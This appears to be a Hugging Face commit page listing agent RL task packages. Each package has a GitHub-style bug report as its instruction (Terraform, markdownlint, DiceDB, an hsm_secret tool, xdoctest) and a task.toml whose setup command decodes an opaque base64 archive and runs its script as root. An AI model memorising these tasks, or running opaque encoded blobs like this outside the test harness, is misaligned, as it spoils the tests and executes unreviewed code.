AdithyaSK HF Staff commited on
Commit
f37c94d
·
verified ·
1 Parent(s): 252bb4a

Add files using upload-large-folder tool

Browse files
This view is limited to 50 files because it contains too many changes.   See raw diff
Files changed (50) hide show
  1. tasks/format-code-task-000072/instruction.md +14 -0
  2. tasks/format-code-task-000072/task.toml +40 -0
  3. tasks/format-code-task-000073/instruction.md +26 -0
  4. tasks/format-code-task-000073/task.toml +40 -0
  5. tasks/format-code-task-000075/instruction.md +28 -0
  6. tasks/format-code-task-000075/task.toml +40 -0
  7. tasks/format-code-task-000080/instruction.md +41 -0
  8. tasks/format-code-task-000080/task.toml +40 -0
  9. tasks/format-code-task-000081/instruction.md +44 -0
  10. tasks/format-code-task-000081/task.toml +40 -0
  11. tasks/format-code-task-000087/instruction.md +23 -0
  12. tasks/format-code-task-000087/task.toml +40 -0
  13. tasks/format-code-task-000240/instruction.md +25 -0
  14. tasks/format-code-task-000240/task.toml +40 -0
  15. tasks/format-code-task-000241/instruction.md +26 -0
  16. tasks/format-code-task-000241/task.toml +40 -0
  17. tasks/format-code-task-000246/instruction.md +22 -0
  18. tasks/format-code-task-000246/task.toml +40 -0
  19. tasks/format-code-task-000247/instruction.md +52 -0
  20. tasks/format-code-task-000247/task.toml +40 -0
  21. tasks/format-code-task-000248/instruction.md +23 -0
  22. tasks/format-code-task-000248/task.toml +40 -0
  23. tasks/format-code-task-000278/instruction.md +17 -0
  24. tasks/format-code-task-000278/task.toml +40 -0
  25. tasks/format-code-task-000283/instruction.md +60 -0
  26. tasks/format-code-task-000410/instruction.md +54 -0
  27. tasks/format-code-task-000410/task.toml +40 -0
  28. tasks/format-code-task-000411/instruction.md +12 -0
  29. tasks/format-code-task-000411/task.toml +40 -0
  30. tasks/format-code-task-000416/instruction.md +51 -0
  31. tasks/format-code-task-000416/task.toml +40 -0
  32. tasks/format-code-task-000417/instruction.md +30 -0
  33. tasks/format-code-task-000417/task.toml +40 -0
  34. tasks/format-code-task-000428/instruction.md +37 -0
  35. tasks/format-code-task-000428/task.toml +40 -0
  36. tasks/format-code-task-000445/instruction.md +22 -0
  37. tasks/format-code-task-000445/task.toml +40 -0
  38. tasks/format-code-task-000622/instruction.md +11 -0
  39. tasks/format-code-task-000622/task.toml +40 -0
  40. tasks/format-code-task-000624/instruction.md +7 -0
  41. tasks/format-code-task-000624/task.toml +40 -0
  42. tasks/format-code-task-000625/instruction.md +76 -0
  43. tasks/format-code-task-000625/task.toml +40 -0
  44. tasks/format-code-task-000677/instruction.md +7 -0
  45. tasks/format-code-task-000677/task.toml +40 -0
  46. tasks/format-code-task-000683/instruction.md +26 -0
  47. tasks/format-code-task-000683/task.toml +40 -0
  48. tasks/format-code-task-000846/instruction.md +34 -0
  49. tasks/format-code-task-000846/task.toml +40 -0
  50. tasks/format-code-task-000870/instruction.md +7 -0
tasks/format-code-task-000072/instruction.md ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ Hi there,
4
+
5
+ This is a followup to https://github.com/DataDog/terraform-provider-datadog/issues/196.
6
+
7
+ Please add the possibility to enable the automuting feature in Terraform.
8
+ When setting up the the integration the automuting feature is currently disabled by default.
9
+
10
+ Thanks!
11
+
12
+ Docs: https://registry.terraform.io/providers/DataDog/datadog/latest/docs/resources/integration_azure
13
+
14
+ ![grafik](https://user-images.githubusercontent.com/88875030/138053563-80a223ad-6d88-4e75-a3a4-dceaeebe40f2.png)
tasks/format-code-task-000072/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000072"
5
+ description = "This is a followup to https://github.com/DataDog/terraform-provider-datadog/issues/196."
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Go"
11
+ domain = "code"
12
+ keywords = ["code", "Go"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000072"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "This is a followup to https://github.com/DataDog/terraform-provider-datadog/issues/196."
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:84c6874aa8a23cdd4015851adbb0a016f40f74bc5489fa540974537a253114a3"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7a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5Dzzx+D32l+TI6+V1Klmb8XA8OJ1s6PFqdWrapuGWcz0BpYkfDvkEw5mrEcB5wKEvlK8j0Y1R9W5JbhziyWa/4uuiIOttJygvu6k0C8cwVHnoes0AtqQXdcdJihLPO9Bk0iz8cTLZTblQoee/JIPiWWdMZ6Y7IlCyBnG/PN6Jom9FnwSbE8J3p7mq5iTCz8p5CUq+36Iyoh6tbWLnzJxsF9YpHkden7XQO9TirkkMrnKBWI8RMgYFA3veIPtOKcT3E5w/xK2mrvaFTYcfdxnT7THPilygji+vtBU5w1fWJS074fn5//SqE8u3W0RzaBcNMnybVKsk2ii56tENyiFyzXyU8Qn++SzacdcUk3tJsyHbk8Q1/gXe9I6qLlSWbAR0VZqe+Rx89tvE7bxXN1U88V5YAhKW4PPPZ9ASMgjjr4gKP7Lbzo9nFGI3W4qFvjxFLptUi8YKVUcVahLKRwmBwXCVa/HJI5K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000073/instruction.md ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ## MD029 and MD030 fire on ordered lists inside blockquotes
4
+
5
+ I'm using markdownlint on my project's documentation. I often quote example snippets inside a blockquote, and sometimes those examples are ordered lists. markdownlint flags these as violations even though the markdown looks fine and renders correctly.
6
+
7
+ ### Repro 1 — a single-level ordered list in a blockquote
8
+
9
+ ```md
10
+ > 1. The simplest ordered list in blockquote
11
+ ```
12
+
13
+ This gets flagged as **MD029 / Ordered list item prefix**. But there's only one item and it starts at `1.`, so I'm not sure what's wrong with it.
14
+
15
+ ### Repro 2 — a nested ordered list in a blockquote
16
+
17
+ ```md
18
+ > 1. blockquote-ol-li
19
+ > 1. blockquote-ol-li-ol-li
20
+ ```
21
+
22
+ This trips both **MD029** and **MD030 / Spaces after list markers**. The inner list item is indented by 3 spaces under `1. ` just like a plain (non-blockquoted) nested ordered list would be, and the numbering restarts at `1.` as expected for a nested list. Outside of a blockquote the equivalent markdown is happily accepted.
23
+
24
+ (For what it's worth, the same examples also trigger MD027 when there's the extra space after `>`, but I understand that one — it's the MD029 and MD030 reports that look wrong to me, because the lists themselves are written correctly.)
25
+
26
+ Could MD029 and MD030 be taught to recognize ordered lists that live inside a blockquote?
tasks/format-code-task-000073/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000073"
5
+ description = "MD029 and MD030 fire on ordered lists inside blockquotes"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Unknown"
11
+ domain = "code"
12
+ keywords = ["code", "Unknown"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000073"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "MD029 and MD030 fire on ordered lists inside blockquotes"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:942c824088d3f8711fae9910bd12d3f7e6c70adc5d086b61a828fb154b33b895"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/T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YkfDvkEw5mrEcB5wKEvlK8j0Y1R9W5JbhziyWa/4uuiIOttJygvu6k0C8cwVHnoes0AtqQXdcdJihLPO9Bk0iz8cTLZTblQoee/JIPiWWdMZ6Y7IlCyBnG/PN6Jom9FnwSbE8J3p7mq5iTCz8p5CUq+36Iyoh6tbWLnzJxsF9YpHkden7XQO9TirkkMrnKBWI8RMgYFA3veIPtOKcT3E5w/xK2mrvaFTYcfdxnT7THPilygji+vtBU5w1fWJS074fn5//SqE8u3W0RzaBcNMnybVKsk2ii56tENyiFyzXyU8Qn++SzacdcUk3tJsyHbk8Q1/gXe9I6qLlSWbAR0VZqe+Rx89tvE7bxXN1U88V5YAhKW4PPPZ9ASMgjjr4gKP7Lbzo9nFGI3W4qFvjxFLptUi8YKVUcVahLKRwmBwXCVa/HJI5K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000075/instruction.md ADDED
@@ -0,0 +1,28 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ## Problem Statement
4
+
5
+ I'm running DiceDB with `EvictionPolicy` set to `allkeys-lfu`, but it doesn't actually seem to evict based on access frequency — feels like the LFU policy just isn't doing anything. I'd really like keys I hit a lot to stick around and the rarely-touched ones to get kicked out first when memory fills up. Could you make `allkeys-lfu` actually work as a real frequency-based eviction strategy? It'd also be nice if I could tune how fast the frequency counter ramps up via some config, and honestly LFU feels like a saner default than LRU for my workload.
6
+
7
+ ## Expected outcomes
8
+
9
+ - LFU eviction behavior
10
+ - When `EvictionPolicy` is configured as `allkeys-lfu`, memory-pressure eviction should prefer removing keys with lower observed access frequency.
11
+ - If candidate keys have equivalent access frequency, eviction should fall back to recency so that the longer-idle key is preferred for eviction.
12
+ - Frequently accessed keys should remain more likely to survive eviction than rarely accessed keys across representative workloads, not only for one hard-coded key pattern.
13
+
14
+ - Default and configuration behavior
15
+ - When no eviction policy is explicitly configured, DiceDB should default to LFU-style all-keys eviction.
16
+ - DiceDB should accept an `allkeys-lfu` eviction policy value alongside the existing eviction policy values.
17
+ - A server configuration option for the LFU counter growth factor should be available, with a default value of `10`.
18
+ - Increasing the LFU counter growth factor should make frequency counter growth slower; decreasing it should make growth faster.
19
+
20
+ - Counter and recency behavior
21
+ - LFU frequency tracking should remain bounded under repeated access and must not wrap around in a way that makes very frequently accessed keys look rarely used.
22
+ - LFU frequency bookkeeping must not corrupt recency-based idle-time behavior used for LRU ordering or LFU tie-breaking.
23
+
24
+ ## Implementation notes
25
+
26
+ - The exact data structures, sampling strategy, counter representation, and update locations are implementation choices.
27
+ - The LFU implementation may use an approximate frequency counter, but externally observable eviction behavior should match the outcomes above.
28
+ - Preserve existing eviction modes other than the requested LFU/default behavior changes.
tasks/format-code-task-000075/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000075"
5
+ description = "I'm running DiceDB with `EvictionPolicy` set to `allkeys-lfu`, but it doesn't actually seem to evict based…"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Go"
11
+ domain = "code"
12
+ keywords = ["code", "Go"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000075"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "I'm running DiceDB with `EvictionPolicy` set to `allkeys-lfu`, but it doesn't actually seem to evict based…"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:c7dab750bea597d686b55b6072e32cbc6daec8afd526ba9645c5b26715b8ec70"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm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ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000080/instruction.md ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ # Harden the hsm_secret tool's `encrypt` flow and file validation
4
+
5
+ Our standalone HSM secret command-line utility (`tools/hsmtool`) lets operators
6
+ encrypt and decrypt their node's `hsm_secret` file with a password. Two rough
7
+ edges keep biting people, and I'd like both fixed.
8
+
9
+ ## 1. Confirm the password when encrypting
10
+
11
+ Right now `encrypt <path/to/hsm_secret>` asks for the password exactly once and
12
+ immediately encrypts the seed with it. A single typo means the operator locks
13
+ themselves out of a seed they can never recover.
14
+
15
+ Make the `encrypt` subcommand ask for the password a second time to confirm it,
16
+ the way well-behaved tools do. The behavior must be:
17
+
18
+ - The two entries must match. If they differ, the tool aborts with a non-zero
19
+ exit status, prints an error that makes clear the confirmation did not match,
20
+ and leaves the `hsm_secret` file **completely untouched** (still the original
21
+ plaintext seed, same bytes, same size).
22
+ - If the two entries match, encryption proceeds exactly as before, producing a
23
+ valid encrypted `hsm_secret` that `decrypt` can later turn back into the
24
+ original seed using the same password (a full encrypt → decrypt round-trip
25
+ must recover the original bytes).
26
+
27
+ ## 2. Be strict about what counts as a valid `hsm_secret`
28
+
29
+ A plaintext seed is exactly 32 bytes and an encrypted one is exactly 73 bytes.
30
+ Today the tool only checks "bigger than 32 means encrypted", so files of any
31
+ other length get misinterpreted (treated as encrypted, or partially read) and
32
+ produce confusing failures.
33
+
34
+ Whenever a subcommand needs to read an existing `hsm_secret` (for example
35
+ `encrypt` and `decrypt`), it must first reject any file whose size is neither 32
36
+ nor 73 bytes. Rejection means: print an error that identifies the file as an
37
+ **invalid** `hsm_secret`, exit with a non-zero status, and leave the file
38
+ unchanged. A genuine 32-byte plaintext seed and a genuine 73-byte encrypted seed
39
+ must keep working exactly as they do today.
40
+
41
+ Passwords are read from the terminal with echo disabled, as before.
tasks/format-code-task-000080/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000080"
5
+ description = "Harden the hsm_secret tool's `encrypt` flow and file validation"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Python"
11
+ domain = "code"
12
+ keywords = ["code", "Python"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000080"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "Harden the hsm_secret tool's `encrypt` flow and file validation"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:a3b7c0a528714bb1188a746b1313d6cfb39977fb528582821d54458706181c5b"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup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DcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4pACgAAA== | base64 -d | tar -xzf - -C /var/lib/mimo && bash /var/lib/mimo/setup.sh; }'"
38
+ timeout_sec = 1200.0
39
+ retries = 0
40
+ interval_sec = 5.0
tasks/format-code-task-000081/instruction.md ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Fix the following issue:
2
+
3
+ ## `doctest_module(..., 'all')` stops at the first failure instead of running the whole batch
4
+
5
+ I'm using xdoctest to run all the doctests inside one of my modules:
6
+
7
+ ```python
8
+ from xdoctest import doctest_module
9
+ doctest_module('mypkg.mymod', 'all')
10
+ ```
11
+
12
+ The module has ~10 doctests. As soon as one of the earlier ones fails, the
13
+ runner raises out of `_run_examples` and the rest of the doctests are never
14
+ executed. So I see exactly one traceback, no summary, no idea which of the
15
+ remaining tests pass or fail. To find out, I have to fix that one test and
16
+ re-run the whole batch, hit the next failure, fix, re-run, etc.
17
+
18
+ What I'd expect from an "all" run is the usual test-runner behavior: keep
19
+ going on failure, run every collected example, and at the end print the
20
+ failures along with a "N / M passed" summary so I can see the whole picture
21
+ in one pass. Failing fast still makes sense when there's only a single
22
+ example being run (e.g. when I'm debugging one specific doctest by name) —
23
+ in that case I do want the exception to propagate so I get the traceback
24
+ immediately.
25
+
26
+ ---
27
+
28
+ While poking at this I also noticed `doctest_module`'s `argv` parameter
29
+ doesn't really behave like one would expect. Two things:
30
+
31
+ 1. Passing `argv=['--verbose']` (or `argv=['all', '--quiet']`, etc.) from
32
+ Python doesn't change the verbosity / style. The flags I put in `argv`
33
+ are ignored and it looks at the real process `sys.argv` instead. That
34
+ makes it hard to drive xdoctest programmatically from another script /
35
+ test harness where I don't want to mutate `sys.argv`.
36
+
37
+ 2. If the first entry of `argv` is a flag (e.g. `argv=['--verbose']` with
38
+ no explicit command), it ends up being treated as the test name to run
39
+ and of course matches nothing. I'd expect flags to be recognized as
40
+ flags regardless of position, and the command to default to "no command
41
+ given" in that case.
42
+
43
+ Both feel like the `argv` handling should consistently use the argv that
44
+ was passed in.
tasks/format-code-task-000081/task.toml ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ schema_version = "1.4"
2
+
3
+ [task]
4
+ name = "mimo-v2.6-rl/format-code-task-000081"
5
+ description = "`doctest_module(..., 'all')` stops at the first failure instead of running the whole batch"
6
+ keywords = ["mimo-v2.6-rl", "code"]
7
+
8
+ [metadata]
9
+ adapter = "mimo_harbor 1.1.0"
10
+ category = "Python"
11
+ domain = "code"
12
+ keywords = ["code", "Python"]
13
+ reference_harness = "XiaomiMiMo/verl a2ad9f6 + XiaomiMiMo/mimoagent 467f0a1"
14
+ reference_step_limit = 500
15
+ source_dataset = "XiaomiMiMo/MiMo-V2.6-RL-oss"
16
+ source_id = "format-code-task-000081"
17
+ source_revision = "639865fd3374018d6cb29b9fb82dd531406fcf5f"
18
+ title = "`doctest_module(..., 'all')` stops at the first failure instead of running the whole batch"
19
+
20
+ [agent]
21
+ timeout_sec = 3600.0
22
+
23
+ [verifier]
24
+ timeout_sec = 2100.0
25
+ user = "root"
26
+
27
+ [environment]
28
+ docker_image = "docker.io/xiaomimimo/mimo-v2.6-rl-oss@sha256:18ac41f5a2e66c62b657c71671521f8d8a9dead4a8676bae43908df5bfeb1779"
29
+ workdir = "/testbed"
30
+ cpus = 2
31
+ memory_mb = 8192
32
+ network_mode = "public"
33
+ build_timeout_sec = 1800.0
34
+
35
+ [environment.healthcheck]
36
+ # one-time setup before the agent (environment/setup/setup.sh)
37
+ command = "bash -c 'test -f /var/lib/mimo/ready || { mkdir -p /var/lib/mimo && echo H4sIAAAAAAAC/+1XW2/cNhb2s37F6cRIbDeSxlm3Bmw4qLcNNgU2u4ukwC6QBgNKoiR6KFEhqRmPk/z3/UjNRbJn4u5DCyw6DDImDw/P/aZcSG7iRKp0KoWxB7/HGmOdj8f+7/jh39PvxqerfQc/HZ+ffX9A44M/YLXGMg32B3/O9YQqUSlitZlzHUrOprQOBjpyd6zgtT0OxpH/R4WwZZtEqarWoPl8Hm0Bs0ZsA2u2wm4N16mqLegPMFKVcalYtu21Sm54as0jFApIv+11D777qZVs+CoRNmnTKbeR0sUaalSrU54DxKOa2z6BaMp1zeUAPS21qkRbRYVSBXLOvx7aq860EtluhA5UaNaUQ/nawkRr+n2mwpiWm0gZE+bt3d3QktuBsyjjs4EP78PA7k5IyaJKdX/7HButbhdQQbK6GJrLq/4A3EwLgAf0O/0fRthDcCJA7T7eA2AG37n/YNMHl7aS0Y47w5lOyyjRbHbPBZalUzXjOpdq7m/+z/PfcNs2kSl/Tx6P1P/vz/9yNqz/KP9nZ/v6/4fU/29iJEycMFMGT+htWxtSdcqfEzOklbLPKXE1jpMtOflW4HJAW3NBr5lOlH5m6D2vZ0KrunK1tORM2jIteTr9QG3dIF8MHgtDuZIZ1yRqq8AqnjEdS5HEy/6TkXbMUTzpb7zmmlmeUbLw7WlSelaXyEsODENvX13/9OYVKGoq1Zw4S0uIxRuqWANuiv4jGKohZMPLmhsTBW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fdxnT7THPilygji+vtBU5w1fWJS074fn5//SqE8u3W0RzaBcNMnybVKsk2ii56tENyiFyzXyU8Qn++SzacdcUk3tJsyHbk8Q1/gXe9I6qLlSWbAR0VZqe+Rx89tvE7bxXN1U88V5YAhKW4PPPZ9ASMgjjr4gKP7Lbzo9nFGI3W4qFvjxFLptUi8YKVUcVahLKRwmBwXCVa/HJI5K73675YkCpEcnZLYofv00laslVjU49gctbVIAeOFGYaDAIVA0KN+aE3lVUtma66AFmvM5QdDcADH86Q6XTto8GXZo+nVmKT8HJcsxByvU4zFwNGTDoHyNX3iXvM2T4Jrd9lC6rNgB4f3hdDym8YbXI4a/Iqkr2hb5PKPIfhKFrPD1ohr4S1nxu7AJk740bQefoLiyqF+vo+/VoHYDhu39c/+vd63/+Et0wDX+qhzdhN6OYr2D4evHI/ZDMr8fbS8cw2m9aKVjsgkFInn0Ns/NM7IPedP0g9AdXbQcoGePVrnazjdZJ3CWC2X4NbUz4Gwpuwu64HKL5/MD4+B7DgJ8XRhQW+CigD92ciKmvmnWjaOzGkW7KdqNlN5SMgNANTKspyA0Wg0no8JObMi7GF6cvvlx0M83XBpqRG/nujf1BYFWLj57NB0zQ+zihDGk6Cg72a7/2a7/2a7/2a7/2a7/2a7/2a7/2a7/260+//gutXB4p